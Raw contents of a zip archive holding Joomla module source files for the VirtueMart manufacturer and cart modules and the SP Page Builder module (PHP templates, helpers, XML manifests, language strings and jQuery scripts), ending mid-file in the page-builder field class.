	<div class="vmheader"><?php echo $headerText ?></div>
<?php endif;
if ($display_style =="div") { ?>
	<div class="vmmanufacturer<?php echo $params->get('moduleclass_sfx'); ?>">
	<?php foreach ($manufacturers as $manufacturer) {
		/*if ($col == 1) {
			echo '<div class="row">';
		} elseif ($col == $manufacturers_per_row + 1) {
			echo '<div class="row">';
			$col = 1;
		}*/
		$link = JROUTE::_('index.php?option=com_virtuemart&view=manufacturer&virtuemart_manufacturer_id=' . $manufacturer->virtuemart_manufacturer_id);
		$bootcolmd = round(12/$manufacturers_per_row);
		$bootcolsm = round(24/$manufacturers_per_row);
		$bootcolxs = round(36/$manufacturers_per_row);
		?>
		<div class="col-md-<?php echo $bootcolmd?> col-sm-<?php echo $bootcolsm?> col-xs-<?php echo $bootcolxs?>" style="float:left;">
			<div class="spacer">
			<a href="<?php echo $link; ?>">
		<?php
		if ($manufacturer->images && ($show == 'image' or $show == 'all' )) { ?>
			<?php echo $manufacturer->images[0]->displayMediaThumb('',false);?>
		<?php
		}
		if ($show == 'text' or $show == 'all' ) { ?>
		 <div><?php echo $manufacturer->mf_name; ?></div>
		<?php
		} ?>
			</a>

			</div>
		</div>
		<?php
		if ($col == $manufacturers_per_row && $manufacturers_per_row && $col < $totalManus) {
			echo "	</div><div style='clear:both;'>";
			$col = 1;
		} else {
			$col++;
		}
	} ?>
	</div>
	<br style='clear:both;' />

<?php
} else {
	$last = count($manufacturers)-1;
?>

<ul class="vmmanufacturer<?php echo $params->get('moduleclass_sfx'); ?>">
<?php
foreach ($manufacturers as $manufacturer) {
	$link = JROUTE::_('index.php?option=com_virtuemart&view=manufacturer&virtuemart_manufacturer_id=' . $manufacturer->virtuemart_manufacturer_id);
	?>
	<li><a href="<?php echo $link; ?>">
		<?php
		if ($manufacturer->images && ($show == 'image' or $show == 'all' )) { ?>
			<?php echo $manufacturer->images[0]->displayMediaThumb('',false);?>
		<?php
		}
		if ($show == 'text' or $show == 'all' ) { ?>
		 <div><?php echo $manufacturer->mf_name; ?></div>
		<?php
		}
		?>
		</a>
	</li>
	<?php
	if ($col == $manufacturers_per_row && $manufacturers_per_row && $last) {
		echo '</ul><ul class="vmmanufacturer'.$params->get('moduleclass_sfx').'">';
		$col= 1 ;
	} else {
		$col++;
	}
	$last--;
} ?>
</ul>

<?php }
	if ($footerText) : ?>
	<div class="vmfooter<?php echo $params->get( 'moduleclass_sfx' ) ?>">
		 <?php echo $footerText ?>
	</div>
<?php endif; ?>
</div>
PK!]D5��&mod_virtuemart_manufacturer/helper.phpnu&1i�<?php
defined('_JEXEC') or  die( 'Direct Access to '.basename(__FILE__).' is not allowed.' );
/*
* Module Helper
*
* @package VirtueMart
* @copyright (C) 2010 - Patrick Kohl
* @ Email: cyber__fr|at|hotmail.com
*
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
* VirtueMart is Free Software.
* VirtueMart comes with absolute no warranty.
*
* @link https://virtuemart.net
*/
if (!class_exists( 'VmConfig' )) require(JPATH_ADMINISTRATOR .DS.'components'.DS.'com_virtuemart'.DS.'helpers'.DS.'config.php');
VmConfig::loadConfig();
if (!class_exists( 'VmImage' )) require(JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_virtuemart'.DS.'helpers'.DS.'image.php');
if(!class_exists('TableMedias')) require(JPATH_VM_ADMINISTRATOR.DS.'tables'.DS.'medias.php');
if(!class_exists('TableManufacturer_medias')) require(JPATH_VM_ADMINISTRATOR.DS.'tables'.DS.'manufacturer_medias.php');
if(!class_exists('TableManufacturers')) require(JPATH_VM_ADMINISTRATOR.DS.'tables'.DS.'manufacturers.php');
if (!class_exists( 'VirtueMartModelManufacturer' )){
   JLoader::import( 'manufacturer', JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_virtuemart' . DS . 'models' );
}
?>PK!�P�--;mod_virtuemart_manufacturer/mod_virtuemart_manufacturer.phpnu&1i�<?php
defined('_JEXEC') or  die( 'Direct Access to '.basename(__FILE__).' is not allowed.' );
/*
* manufacturer Module
*
* @package VirtueMart
* @subpackage modules
*
* @copyright (C) 2012-2014 The VirtueMart Team
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
* VirtueMart is Free Software.
* VirtueMart comes with absolute no warranty.
*
* @link https://virtuemart.net
*/

if (!class_exists( 'VmConfig' )) require(JPATH_ROOT .'/administrator/components/com_virtuemart/helpers/config.php');

VmConfig::loadConfig();
vmLanguage::loadModJLang('mod_virtuemart_manufacturer');

$display_style = 	$params->get( 'display_style', "div" ); // Display Style
$manufacturers_per_row = $params->get( 'manufacturers_per_row', 1 ); // Display X manufacturers per Row
$headerText = 		$params->get( 'headerText', '' ); // Display a Header Text
$footerText = 		$params->get( 'footerText', ''); // Display a footerText
$show = 			$params->get( 'show', 'all'); // Display a footerText

$model = VmModel::getModel('Manufacturer');
$manufacturers = $model->getManufacturers(true, true,true);
$model->addImages($manufacturers);
if(empty($manufacturers)) return false;

$totalManus = 		count( $manufacturers);

// load the template
require JModuleHelper::getLayoutPath('mod_virtuemart_manufacturer', $params->get('layout', 'default'));
?>PK!�����;mod_virtuemart_manufacturer/mod_virtuemart_manufacturer.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="2.5.0">
  <name>mod_virtuemart_manufacturer</name>
  <creationDate>November 06 2020</creationDate>
  <author>The VirtueMart Development Team</author>
  <authorUrl>https://virtuemart.net</authorUrl>
  <copyright>Copyright (C) 2004 - 2020 Virtuemart Team. All rights reserved.</copyright>
  <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
  <version>3.8.6</version>
  <description>MOD_VIRTUEMART_MANUFACTURER_DESC</description>
  <files>
    <filename module="mod_virtuemart_manufacturer">mod_virtuemart_manufacturer.php</filename>
    <filename>helper.php</filename>
    <filename>tmpl/default.php</filename>
    <folder>language</folder>
  </files>
  <params>
    <param
      name="show"
      type="list"
      default="all"
      label="MOD_VIRTUEMART_MANUFACTURER_SHOW"
      description="MOD_VIRTUEMART_MANUFACTURER_SHOW_DESC"
      >
      <option value="all">MOD_VIRTUEMART_MANUFACTURER_IMAGE_NAME</option>
      <option value="image">MOD_VIRTUEMART_MANUFACTURER_THUMB_IMAGE</option>
      <option value="text">MOD_VIRTUEMART_MANUFACTURER_NAME</option>
    </param>
    <param
      name="display_style"
      type="list"
      default="list"
      label="MOD_VIRTUEMART_MANUFACTURER_DISPLAY_STYLE"
      description="MOD_VIRTUEMART_MANUFACTURER_DISPLAY_STYLE_DESC"
      >
      <option value="list">MOD_VIRTUEMART_MANUFACTURER_LIST</option>
      <option value="div">MOD_VIRTUEMART_MANUFACTURER_DIV</option>
    </param>
    <param
      name="manufacturers_per_row"
      type="text"
      default=""
      label="MOD_VIRTUEMART_MANUFACTURER_ROW"
      description="MOD_VIRTUEMART_MANUFACTURER_ROW_DESC"
    />
    <param
      name="@spacer"
      type="spacer"
      default=""
      label=""
      description=""
    />
    <param
      name="headerText"
      type="textarea"
      cols="40"
      rows="3"
      default=""
      label="MOD_VIRTUEMART_MANUFACTURER_HEADER_TEXT"
      description="MOD_VIRTUEMART_MANUFACTURER_HEADER_TEXT_DESC"
    />
    <param
      name="footerText"
      type="textarea"
      cols="40"
      rows="3"
      default=""
      label="MOD_VIRTUEMART_MANUFACTURER_FOOTER_TEXT"
      description="MOD_VIRTUEMART_MANUFACTURER_FOOTER_TEXT_DESC"
    />
  </params>
  <params group="advanced">
    <param
      name="cache"
      type="radio"
      default="0"
      label="Enable Cache"
      description="Select whether to cache the content of this module"
      >
      <option value="0">No</option>
      <option value="1">Yes</option>
    </param>
    <param
      name="moduleclass_sfx"
      type="text"
      default=""
      label="Module Class Suffix"
      description="A suffix to be applied to the css class of the module (table.moduletable), this allows individual module styling"
    />
    <param
      name="class_sfx"
      type="text"
      default=""
      label="Menu Class Suffix"
      description="A suffix to be applied to the css class of the menu items"
    />
  </params>
  <config>
    <fields name="params">
      <fieldset name="basic">
        <field
          name="show"
          type="list"
          default="all"
          label="MOD_VIRTUEMART_MANUFACTURER_SHOW"
          description="MOD_VIRTUEMART_MANUFACTURER_SHOW_DESC"
          >
          <option value="all">MOD_VIRTUEMART_MANUFACTURER_IMAGE_NAME</option>
          <option value="image">MOD_VIRTUEMART_MANUFACTURER_THUMB_IMAGE</option>
          <option value="text">MOD_VIRTUEMART_MANUFACTURER_NAME</option>
        </field>
        <field
          name="display_style"
          type="list"
          default="list"
          label="MOD_VIRTUEMART_MANUFACTURER_DISPLAY_STYLE"
          description="MOD_VIRTUEMART_MANUFACTURER_DISPLAY_STYLE_DESC"
          >
          <option value="list">MOD_VIRTUEMART_MANUFACTURER_LIST</option>
          <option value="div">MOD_VIRTUEMART_MANUFACTURER_DIV</option>
        </field>
        <field
          name="manufacturers_per_row"
          type="text"
          default=""
          label="MOD_VIRTUEMART_MANUFACTURER_ROW"
          description="MOD_VIRTUEMART_MANUFACTURER_ROW_DESC"
        />
        <field
          name="@spacer"
          type="spacer"
          default=""
          label=""
          description=""
        />
        <field
          name="headerText"
          type="textarea"
          cols="40"
          rows="3"
          default=""
          label="MOD_VIRTUEMART_MANUFACTURER_HEADER_TEXT"
          description="MOD_VIRTUEMART_MANUFACTURER_HEADER_TEXT_DESC"
        />
        <field
          name="footerText"
          type="textarea"
          cols="40"
          rows="3"
          default=""
          label="MOD_VIRTUEMART_MANUFACTURER_FOOTER_TEXT"
          description="MOD_VIRTUEMART_MANUFACTURER_FOOTER_TEXT_DESC"
        />
      </fieldset>
      <fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
        />
        <field
          name="cache"
          type="list"
          default="1"
          label="COM_MODULES_FIELD_CACHING_LABEL"
          description="COM_MODULES_FIELD_CACHING_DESC"
          >
          <option value="0">No</option>
          <option value="1">Yes</option>
        </field>
        <field
          name="moduleclass_sfx"
          type="text" default=""
          label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
          description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
        />
        <field
          name="class_sfx"
          type="text"
          default=""
          label="Menu Class Suffix"
          description="A suffix to be applied to the css class of the menu items"
        />
      </fieldset>
    </fields>
  </config>
  <updateservers>
    <!-- Note: No spaces or linebreaks allowed between the server tags -->
    <server type="extension" name="VirtueMart3 mod_virtuemart_manufacturer Update Site"><![CDATA[http://virtuemart.net/releases/vm3/mod_virtuemart_manufacturer_update.xml]]></server>
  </updateservers>
</extension>
PK!"^CY��@mod_virtuemart_cart/language/en-GB/en-GB.mod_virtuemart_cart.ininu&1i�; Virtuemart! Project
; Copyright (C)  2011 Virtuemart Team. All rights reserved.
; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php
; Note : All ini files need to be saved as UTF-8 - No BOM

MOD_VIRTUEMART_CART="VirtueMart Shopping Cart"
MOD_VIRTUEMART_CART_AJAX_CART_PLZ_JAVASCRIPT="Please wait"
MOD_VIRTUEMART_CART_DESC="Displays a shopping cart for your customers.<br /><br/>(VirtueMart 2+ compatible)"
MOD_VIRTUEMART_CART_SHOW_LIST="Show Product list in cart?"
MOD_VIRTUEMART_CART_SHOW_LIST_DESC="Defines whether the product list in cart  is displayed or not."
MOD_VIRTUEMART_CART_SHOW_PRICE="Show Product Price?"
MOD_VIRTUEMART_CART_SHOW_PRICE_DESC="Defines whether the product price is displayed or not."PK!�6�dNNDmod_virtuemart_cart/language/en-GB/en-GB.mod_virtuemart_cart.sys.ininu&1i�; Virtuemart! Project
; Copyright (C)  2011 Virtuemart Team. All rights reserved.
; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php
; Note : All ini files need to be saved as UTF-8 - No BOM

MOD_VIRTUEMART_CART="VirtueMart Shopping Cart"
MOD_VIRTUEMART_CART_DESC="Displays a shopping cart for your customers"PK!�i���,mod_virtuemart_cart/assets/js/update_cart.jsnu&1i�if (typeof Virtuemart === "undefined")
	var Virtuemart = {};

jQuery(function($) {
	Virtuemart.customUpdateVirtueMartCartModule = function(el, options){
		var base 	= this;
		base.el 	= $(".vmCartModule");
		base.options 	= $.extend({}, Virtuemart.customUpdateVirtueMartCartModule.defaults, options);

		base.init = function(){
			$.ajaxSetup({ cache: false })
			$.getJSON(Virtuemart.vmSiteurl + "index.php?option=com_virtuemart&nosef=1&view=cart&task=viewJS&format=json" + Virtuemart.vmLang,
				function (datas, textStatus) {
					base.el.each(function( index ,  module ) {
						if (datas.totalProduct > 0) {
							$(module).find(".vm_cart_products").html("");
							$.each(datas.products, function (key, val) {
								//$("#hiddencontainer .vmcontainer").clone().appendTo(".vmcontainer .vm_cart_products");
								$(module).find(".hiddencontainer .vmcontainer .product_row").clone().appendTo( $(module).find(".vm_cart_products") );
								$.each(val, function (key, val) {
									$(module).find(".vm_cart_products ." + key).last().html(val);
								});
							});
						}
						$(module).find(".show_cart").html(		datas.cart_show);
						$(module).find(".total_products").html(	datas.totalProductTxt);
						$(module).find(".total").html(		datas.billTotal);
					});
				}
			);
		};
		base.init();
	};
	// Definition Of Defaults
	Virtuemart.customUpdateVirtueMartCartModule.defaults = {
		name1: 'value1'
	};

});

jQuery(document).ready(function( $ ) {
	$(document).off("updateVirtueMartCartModule","body",Virtuemart.customUpdateVirtueMartCartModule);
	$(document).on("updateVirtueMartCartModule","body",Virtuemart.customUpdateVirtueMartCartModule);
});
PK!�0"�||+mod_virtuemart_cart/mod_virtuemart_cart.phpnu&1i�<?php
defined('_JEXEC') or  die( 'Direct Access to '.basename(__FILE__).' is not allowed.' );
/*
*Cart Ajax Module
*
* @version $Id: mod_virtuemart_cart.php 10352 2020-11-02 13:19:45Z Milbo $
* @package VirtueMart
* @subpackage modules
*
* @link https://virtuemart.net
*/

if (!class_exists( 'VmConfig' )) require(JPATH_ROOT .'/administrator/components/com_virtuemart/helpers/config.php');
VmConfig::loadConfig();
vmLanguage::loadJLang('mod_virtuemart_cart', true);
vmLanguage::loadJLang('com_virtuemart', true);
vmJsApi::jQuery();

vmJsApi::addJScript("/modules/mod_virtuemart_cart/assets/js/update_cart.js",false,false);


$viewName = vRequest::getString('view',0);
if($viewName=='cart'){
	$checkAutomaticPS = true;
} else {
	$checkAutomaticPS = false;
}

$currencyDisplay = CurrencyDisplay::getInstance( );
vmJsApi::cssSite();
$moduleclass_sfx 	= $params->get('moduleclass_sfx', '');
$show_price 		= (bool)$params->get( 'show_price', 1 ); // Display the Product Price?
$show_product_list 	= (bool)$params->get( 'show_product_list', 1 ); // Display the Product Price?

$options = array();
$session = JFactory::getSession($options);
$multixcart = VmConfig::get('multixcart',0);

$carts = array();
if($multixcart!='byproduct'){
	$carts[1] = $session->get('vmcart', 0, 'vm');
} else {
	$carts = $session->get('vmcarts', 0, 'vm');
}

$cart = VirtueMartCart::getCart();
$data = $cart->prepareAjaxData();
$vendorId = $cart->vendorId;
//vmdebug('cart module '.$multixcart,$vendorId,$carts);
if(!empty($carts)){
    foreach($carts as $vId=>$cartses) {
        if(!empty($cartses)){
            //This is strange we have the whole thing again in controllers/cart.php public function viewJS()
            $cart = VirtueMartCart::getCart(false, array(), NULL, $vId);
            $data = $cart->prepareAjaxData();
        }
        require JModuleHelper::getLayoutPath('mod_virtuemart_cart', $params->get('layout', 'default'));
    }

    //Reset cart to the selected one
    $cart = VirtueMartCart::getCart(false, array(), NULL, $vendorId);
} else {
    require JModuleHelper::getLayoutPath('mod_virtuemart_cart', $params->get('layout', 'default'));
}

echo vmJsApi::writeJS();
 ?>PK!���ݚ	�	+mod_virtuemart_cart/mod_virtuemart_cart.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="2.5.0" method="upgrade">
  <name>mod_virtuemart_cart</name>
  <creationDate>November 06 2020</creationDate>
  <author>The VirtueMart Development Team</author>
  <authorUrl>https://virtuemart.net</authorUrl>
  <copyright>Copyright (C) 2004 - 2020 Virtuemart Team. All rights reserved.</copyright>
  <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
  <version>3.8.6</version>
  <description>MOD_VIRTUEMART_CART_DESC</description>
  <files>
    <filename module="mod_virtuemart_cart">mod_virtuemart_cart.php</filename>
    <folder>assets</folder>
    <folder>tmpl</folder>
    <folder>language</folder>
  </files>
  <config>
    <fields name="params">
      <fieldset name="basic">
        <field
          name="moduleid_sfx"
          type="text" default=""
          label="Module ID Suffix"
          description="A suffix to be applied to the ID of the module (table.moduletable), this allows individual module styling"
        />
        <field
          name="moduleclass_sfx"
          type="text"
          default=""
          label="Module Class Suffix"
          description="A suffix to be applied to the css class of the module (table.moduletable), this allows individual module styling"
        />
        <field
          name="show_price"
          type="list"
          default="1"
          label="MOD_VIRTUEMART_CART_SHOW_PRICE"
          description="MOD_VIRTUEMART_CART_SHOW_PRICE_DESC"
          >
          <option value="0">No</option>
          <option value="1">Yes</option>
        </field>
        <field
          name="show_product_list"
          type="list"
          default="1"
          label="MOD_VIRTUEMART_CART_SHOW_LIST"
          description="MOD_VIRTUEMART_CART_SHOW_LIST_DESC"
          >
          <option value="0">No</option>
          <option value="1">Yes</option>
        </field>
      </fieldset>
      <fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
        />
      </fieldset>
    </fields>
  </config>
  <updateservers>
    <!-- Note: No spaces or linebreaks allowed between the server tags -->
    <server type="extension" name="VirtueMart3 mod_virtuemart_cart Update Site"><![CDATA[http://virtuemart.net/releases/vm3/mod_virtuemart_cart_update.xml]]></server>
  </updateservers>
</extension>
PK!��on��$mod_virtuemart_cart/tmpl/default.phpnu&1i�<?php // no direct access
defined('_JEXEC') or die('Restricted access');

//dump ($cart,'mod cart');
// Ajax is displayed in vm_cart_products
// ALL THE DISPLAY IS Done by Ajax using "hiddencontainer" ?>

<!-- Virtuemart 2 Ajax Card -->
<div class="vmCartModule <?php echo $params->get('moduleclass_sfx'); ?>" id="vmCartModule<?php echo $params->get('moduleid_sfx'); ?>">
<?php
if ($show_product_list) {
	?>
	<div class="hiddencontainer" style=" display: none; ">
		<div class="vmcontainer">
			<div class="product_row">
				<span class="quantity"></span>&nbsp;x&nbsp;<span class="product_name"></span>

			<?php if ($show_price and $currencyDisplay->_priceConfig['salesPrice'][0]) { ?>
				<div class="subtotal_with_tax" style="float: right;"></div>
			<?php } ?>
			<div class="customProductData"></div><br>
			</div>
		</div>
	</div>
	<div class="vm_cart_products">
		<div class="vmcontainer">

		<?php
			foreach ($data->products as $product){
				?><div class="product_row">
					<span class="quantity"><?php echo  $product['quantity'] ?></span>&nbsp;x&nbsp;<span class="product_name"><?php echo  $product['product_name'] ?></span>
				<?php if ($show_price and $currencyDisplay->_priceConfig['salesPrice'][0]) { ?>
				  <div class="subtotal_with_tax" style="float: right;"><?php echo $product['subtotal_with_tax'] ?></div>
				<?php } ?>
				<?php if ( !empty($product['customProductData']) ) { ?>
					<div class="customProductData"><?php echo $product['customProductData'] ?></div><br>

				<?php } ?>

			</div>
		<?php }
		?>
		</div>
	</div>
<?php } ?>

	<div class="total" style="float: right;">
		<?php if ($data->totalProduct and $show_price and $currencyDisplay->_priceConfig['salesPrice'][0]) { ?>
		<?php echo $data->billTotal; ?>
		<?php } ?>
	</div>

<div class="total_products"><?php echo  $data->totalProductTxt ?></div>
<div class="show_cart">
	<?php if ($data->totalProduct) echo  '<a class="details" style ="float:right;" href="'.$data->cart_show_link.'" rel="nofollow" >'.$data->linkName.'</a>'; ?>
</div>
<div style="clear:both;"></div>
<?php
$view = vRequest::getCmd('view');
if($view!='cart' and $view!='user'){
	?><div class="payments-signin-button" ></div><?php
}
?>
<noscript>
<?php echo vmText::_('MOD_VIRTUEMART_CART_AJAX_CART_PLZ_JAVASCRIPT') ?>
</noscript>
</div>

PK!d����'mod_sppagebuilder/mod_sppagebuilder.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.6" client="site" method="upgrade">
	<name>SP Page Builder</name>
	<author>JoomShaper</author>
	<creationDate>Oct 2016</creationDate>
	<copyright>Copyright (c) 2010 - 2021 JoomShaper.com. All rights reserved.</copyright>
	<license>GNU/GPL V2 or Later</license>
	<authorEmail>support@joomshaper.com</authorEmail>
	<authorUrl>www.joomshaper.com</authorUrl>
	<version>1.6</version>
	<description>Module to display content from SP Page Builder</description>
	<files>
		<filename module="mod_sppagebuilder">mod_sppagebuilder.php</filename>
		<filename>helper.php</filename>
		<folder>fields</folder>
		<folder>language</folder>
		<folder>assets</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB.mod_sppagebuilder.ini</language>
	</languages>
	<config>
		<fields name="params" addfieldpath="/modules/mod_sppagebuilder/fields">
	  		<fieldset name="basic">
				<field name="content" type="pagebuilder" filter="raw" />
			</fieldset>

			<fieldset name="advanced">
				<field name="layout" type="modulelayout" label="JFIELD_ALT_LAYOUT_LABEL" description="JFIELD_ALT_MODULE_LAYOUT_DESC" />
				<field name="moduleclass_sfx" type="textarea" rows="3" label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL" description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />
				<field name="cache" type="list" default="1" label="COM_MODULES_FIELD_CACHING_LABEL" description="COM_MODULES_FIELD_CACHING_DESC">
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>
				<field name="cache_time" type="text" default="900" label="COM_MODULES_FIELD_CACHE_TIME_LABEL" description="COM_MODULES_FIELD_CACHE_TIME_DESC" />
				<field name="cachemode" type="hidden" default="itemid">
					<option value="itemid"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!r�/�%mod_sppagebuilder/assets/js/action.jsnu&1i�/**
 * @package SP Page Builder
 * @author JoomShaper http://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/
jQuery(function($) {

    if($('#toolbar-save-copy').length > 0 ){
        $('#toolbar-save-copy').remove();
    }
    
    if($('#toolbar-apply .button-apply').length > 0 ){
        $('#toolbar-apply .button-apply').removeAttr('onclick').removeAttr('onClick');
    }
    if($('#toolbar-save .button-save').length > 0 ){
        $('#toolbar-save .button-save').removeAttr('onclick').removeAttr('onClick');
    }
    if($('#toolbar-save-new .button-save-new').length > 0 ){
        $('#toolbar-save-new .button-save-new').removeAttr('onclick').removeAttr('onClick');
    }

    $('#toolbar-apply .button-apply, .button-save, .button-save-new').on('click', function(event) {
        event.preventDefault();

        var action_id = event.target.parentNode.id;
        var task = 'module.apply';

        if (action_id == 'toolbar-save' || action_id == 'save-group-children-save')
        {
            task = 'module.save';
        } else if(action_id == 'toolbar-save-new' || action_id == 'save-group-children-save-new') {
            task = 'module.save2new';
        } 
        else if (action_id == 'save-group-children-save-copy')
        {
            task = 'module.save2copy';
        }
        
        var data = {
            id: $('#sppagebuilder_module_id').val(),
            title: $('#jform_title').val(),
            content: $('#jform_params_content').val(),
        }
        
        $.ajax({
            type : 'POST',
            url: pagebuilder_base + 'administrator/index.php?option=com_sppagebuilder&task=page.module_save',
            data: data,
            success: function (response) {
                var data = jQuery.parseJSON(response);
                if(data.status) {
                    Joomla.submitbutton(task);
                } else {
                    alert(data.message);
                }
            }
        });
    });
});PK!�C��{{'mod_sppagebuilder/mod_sppagebuilder.phpnu&1i�<?php
/**
 * @package SP Page Builder
 * @author JoomShaper http://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
 */
//no direct accees
defined ('_JEXEC') or die ('restricted access');

use Joomla\CMS\Helper\ModuleHelper;

JLoader::register('ModSPagebuilderHelper', __DIR__ . '/helper.php');

$data = ModSPagebuilderHelper::getData($module->id, $params);
$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx'), ENT_COMPAT, 'UTF-8');

require ModuleHelper::getLayoutPath('mod_sppagebuilder', $params->get('layout', 'default'));PK!$�agg6mod_sppagebuilder/language/en-GB.mod_sppagebuilder.ininu&1i�MOD_SPPAGEBUILDER="SP Page Builder"

; Ajax Contact
COM_SPPAGEBUILDER_ADDON_AJAX_CONTACT_NAME="Name"
COM_SPPAGEBUILDER_ADDON_AJAX_CONTACT_EMAIL="Email"
COM_SPPAGEBUILDER_ADDON_AJAX_CONTACT_SUBJECT="Subject"
COM_SPPAGEBUILDER_ADDON_AJAX_CONTACT_MESSAGE="Message"
COM_SPPAGEBUILDER_ADDON_AJAX_CONTACT_SEND="Send Message"
COM_SPPAGEBUILDER_ADDON_AJAX_CONTACT_WRONG_CAPTCHA="Wrong answer! Please enter right answer."
COM_SPPAGEBUILDER_ADDON_AJAX_CONTACT_SUCCESS="Email sent successfully!"
COM_SPPAGEBUILDER_ADDON_AJAX_CONTACT_FAILED="Email sent failed."

; Tweet Addon
COM_SPPAGEBUILDER_TWEET_FOLLOWERS="Followers"
COM_SPPAGEBUILDER_TWEET_FOLLOW="Follow"
COM_SPPAGEBUILDER_SECOND="Second"
COM_SPPAGEBUILDER_SECONDS="Seconds"
COM_SPPAGEBUILDER_MINUTE="Minute"
COM_SPPAGEBUILDER_MINUTES="Minutes"
COM_SPPAGEBUILDER_HOUR="Hour"
COM_SPPAGEBUILDER_HOURS="Hours"
COM_SPPAGEBUILDER_DAY="Day"
COM_SPPAGEBUILDER_DAYS="Days"
COM_SPPAGEBUILDER_MONTHS="Months"
COM_SPPAGEBUILDER_MONTH="Month"
COM_SPPAGEBUILDER_YEAR="Year"
COM_SPPAGEBUILDER_YEARS="Years"
COM_SPPAGEBUILDER_AGO="ago"

; Addon Social Share
COM_SPPAGEBUILDER_ADDON_SOCIALSHARE_TOTAL_SHARES="Shares"
COM_SPPAGEBUILDER_ADDON_SOCIALSHARE_FACEBOOK="Facebook"
COM_SPPAGEBUILDER_ADDON_SOCIALSHARE_TWITTER="Twitter"
COM_SPPAGEBUILDER_ADDON_SOCIALSHARE_GOOGLE_PLUS="Google Plus"
COM_SPPAGEBUILDER_ADDON_SOCIALSHARE_LINKEDIN="Linkedin"
COM_SPPAGEBUILDER_ADDON_SOCIALSHARE_PINTEREST="Pinterest"
COM_SPPAGEBUILDER_ADDON_SOCIALSHARE_THUMBLR="Thublr"
COM_SPPAGEBUILDER_ADDON_SOCIALSHARE_GETPOCKET="Getpocket"
COM_SPPAGEBUILDER_ADDON_SOCIALSHARE_REDDIT="Reddit"
COM_SPPAGEBUILDER_ADDON_SOCIALSHARE_VK="VK"PK!㿤���mod_sppagebuilder/helper.phpnu&1i�<?php
/**
 * @package SP Page Builder
 * @author JoomShaper http://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2016 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
 */
//no direct accees
defined ('_JEXEC') or die ('restricted access');

use Joomla\CMS\Factory;

class ModSPagebuilderHelper
{
	public static function getData($id, $params) {
		$data = self::pageBuilderData($id);

		if(isset($data->text) && $data->text) {
			return $data->text;
		} else {
			$content = $params->get('content', '[]');
			if(!self::isJson($content)) {
				$content = '[]';
			}
		}

		return $content;
	}

	private static function pageBuilderData($id)
	{
		$db = Factory::getDbo();
		$query = $db->getQuery(true);
		$query->select('*');
		$query->from($db->quoteName('#__sppagebuilder'));
		$query->where($db->quoteName('extension') . ' = '. $db->quote('mod_sppagebuilder'));
		$query->where($db->quoteName('extension_view') . ' = '. $db->quote('module'));
		$query->where($db->quoteName('view_id') . ' = '. $db->quote($id));
		$db->setQuery($query);
		$item = $db->loadObject();

		return $item;
	}

	private static function isJson($string)
	{
		json_decode($string);
		return (json_last_error() == JSON_ERROR_NONE);
	}
}
PK!���B?%?%(mod_sppagebuilder/fields/pagebuilder.phpnu&1i�<?php
/**
 * @package SP Page Builder
 * @author JoomShaper http://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/
//no direct accees
defined ('_JEXEC') or die ('restricted access');


use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Component\ComponentHelper;

JLoader::register('SppagebuilderHelper', JPATH_ADMINISTRATOR . '/components/com_sppagebuilder/helpers/sppagebuilder.php');
JLoader::register('SppagebuilderHelperRoute', JPATH_ROOT . '/components/com_sppagebuilder/helpers/route.php');

class JFormFieldPagebuilder extends FormField
{
	protected	$type = 'Pagebuilder';

	protected function getInput()
	{
		$output = '';
		$id = (int) Factory::getApplication()->input->get('id', 0, 'INT');
		if($id)
		{
			require_once JPATH_ROOT .'/administrator/components/com_sppagebuilder/builder/classes/base.php';
			require_once JPATH_ROOT .'/administrator/components/com_sppagebuilder/builder/classes/config.php';

			$this->loadPageBuilderLanguage();

			$params = ComponentHelper::getParams('com_sppagebuilder');
			$doc = Factory::getDocument();
			$input = Factory::getApplication()->input; 

			HTMLHelper::_('jquery.framework');
			SppagebuilderHelper::loadAssets('css');
			$doc->addStylesheet( Uri::base(true) . '/components/com_sppagebuilder/assets/css/react-select.css' );
		
			SppagebuilderHelper::loadEditor();

			$doc->addScript( Uri::base(true) . '/components/com_sppagebuilder/assets/js/script.js' );
			$doc->addScript( Uri::root(true) . '/modules/mod_sppagebuilder/assets/js/action.js' );
			$doc->addScriptdeclaration('var pagebuilder_base="' . Uri::root() . '";');

			// Addon List Initialize
